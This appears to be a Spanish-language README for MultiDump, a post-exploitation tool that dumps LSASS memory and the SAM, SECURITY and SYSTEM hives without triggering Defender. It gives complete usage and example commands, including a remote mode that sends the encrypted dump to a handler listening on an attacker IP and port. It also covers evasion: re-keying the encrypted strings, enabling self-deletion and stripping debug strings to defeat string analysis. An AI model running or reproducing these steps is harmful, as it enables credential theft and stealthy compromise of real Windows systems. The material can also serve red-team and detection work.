
MultiDump es una herramienta de post-explotación para volcar y extraer la memoria de LSASS de forma discreta.
MultiDump es una herramienta de post-explotación escrita en C para volcar y extraer la memoria de LSASS discretamente, sin activar alertas de Defender, con un manejador escrito en Python.

Entrada de blog: https://xreous.io/posts/multidump
MultiDump soporta el volcado de LSASS mediante ProcDump.exe o comsvc.dll, ofrece dos modos: un modo local que cifra y almacena el archivo de volcado localmente, y un modo remoto que envía el volcado a un manejador para su descifrado y análisis.
__ __ _ _ _ _____
| \/ |_ _| | |_(_) __ \ _ _ _ __ ___ _ __
| |\/| | | | | | __| | | | | | | | '_ ` _ \| '_ \
| | | | |_| | | |_| | |__| | |_| | | | | | | |_) |
|_| |_|\__,_|_|\__|_|_____/ \__,_|_| |_| |_| .__/
|_|
Usage: MultiDump.exe [-p <ProcDumpPath>] [-l <LocalDumpPath> | -r <RemoteHandlerAddr>] [--procdump] [-v]
-p Path to save procdump.exe, use full path. Default to temp directory
-l Path to save encrypted dump file, use full path. Default to current directory
-r Set ip:port to connect to a remote handler
--procdump Writes procdump to disk and use it to dump LSASS
--nodump Disable LSASS dumping
--reg Dump SAM, SECURITY and SYSTEM hives
--delay Increase interval between connections to for slower network speeds
-v Enable verbose mode
MultiDump defaults in local mode using comsvcs.dll and saves the encrypted dump in the current directory.
Examples:
MultiDump.exe -l C:\Users\Public\lsass.dmp -v
MultiDump.exe --procdump -p C:\Tools\procdump.exe -r 192.168.1.100:5000
usage: MultiDumpHandler.py [-h] [-r REMOTE] [-l LOCAL] [--sam SAM] [--security SECURITY] [--system SYSTEM] [-k KEY] [--override-ip OVERRIDE_IP]
Handler for MultiDump
options:
-h, --help show this help message and exit
-r REMOTE, --remote REMOTE
Port to receive remote dump file
-l LOCAL, --local LOCAL
Local dump file, key needed to decrypt
--sam SAM Local SAM save, key needed to decrypt
--security SECURITY Local SECURITY save, key needed to decrypt
--system SYSTEM Local SYSTEM save, key needed to decrypt
-k KEY, --key KEY Key to decrypt local file
--override-ip OVERRIDE_IP
Manually specify the IP address for key generation in remote mode, for proxied connection
Al igual que todas las herramientas relacionadas con LSASS, se requieren privilegios de Administrador/SeDebugPrivilege.
El manejador depende de Pypykatz para analizar el volcado de LSASS, y de impacket para analizar los guardados del registro. Deben estar instalados en su entorno. Si ve el error All detection methods failed, probablemente la versión de Pypykatz esté desactualizada.
Por defecto, MultiDump utiliza el método Comsvc.dll y guarda el volcado cifrado en el directorio actual.
MultiDump.exe
...
[i] Local Mode Selected. Writing Encrypted Dump File to Disk...
[i] C:\Users\MalTest\Desktop\dciqjp.dat Written to Disk.
[i] Key: 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
./MultiDumpHandler.py -l dciqjp.dat -k 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
Si se usa --procdump, se escribirá ProcDump.exe en el disco para volcar LSASS.
En cmd, se debe usar --procdump, de lo contrario fallará según #5. Se recomienda usar siempre PowerShell si es posible.
En modo remoto, MultiDump se conecta al listener del manejador.
./MultiDumpHandler.py -r 9001
[i] Listening on port 9001 for encrypted key...
MultiDump.exe -r 10.0.0.1:9001
La clave se cifra con la IP y el puerto del manejador. Cuando MultiDump se conecta a través de un proxy, el manejador debe usar la opción --override-ip para especificar manualmente la dirección IP para la generación de claves en modo remoto, asegurando que el descifrado funcione correctamente al coincidir la IP de descifrado con la IP esperada configurada en -r de MultiDump.
Una opción adicional para volcar los hive SAM, SECURITY y SYSTEM está disponible con --reg; el proceso de descifrado es el mismo que para los volcados de LSASS. Esto es más una característica de conveniencia para facilitar la recopilación de información posterior a la explotación.
Abra en Visual Studio, compile en modo Release.
Se recomienda personalizar el binario antes de compilar, como cambiar las cadenas estáticas o la clave RC4 utilizada para cifrarlas. Para ello, se incluye otro proyecto de Visual Studio, EncryptionHelper. Simplemente cambie la clave o las cadenas y la salida de EncryptionHelper.exe compilado se puede pegar en MultiDump.c y Common.h.
La autodestrucción se puede activar descomentando la siguiente línea en Common.h:
#define SELF_DELETION
Para evadir aún más el análisis de cadenas, la mayoría de los mensajes de salida se pueden excluir de la compilación comentando la siguiente línea en Debug.h:
//#define DEBUG
MultiDump podría ser detectado en Windows 10 22H2 (19045) (más o menos), y he implementado una solución (más o menos). La investigación e implementación merece su propia entrada de blog: https://xre0us.io/posts/saving-lsass-from-defender/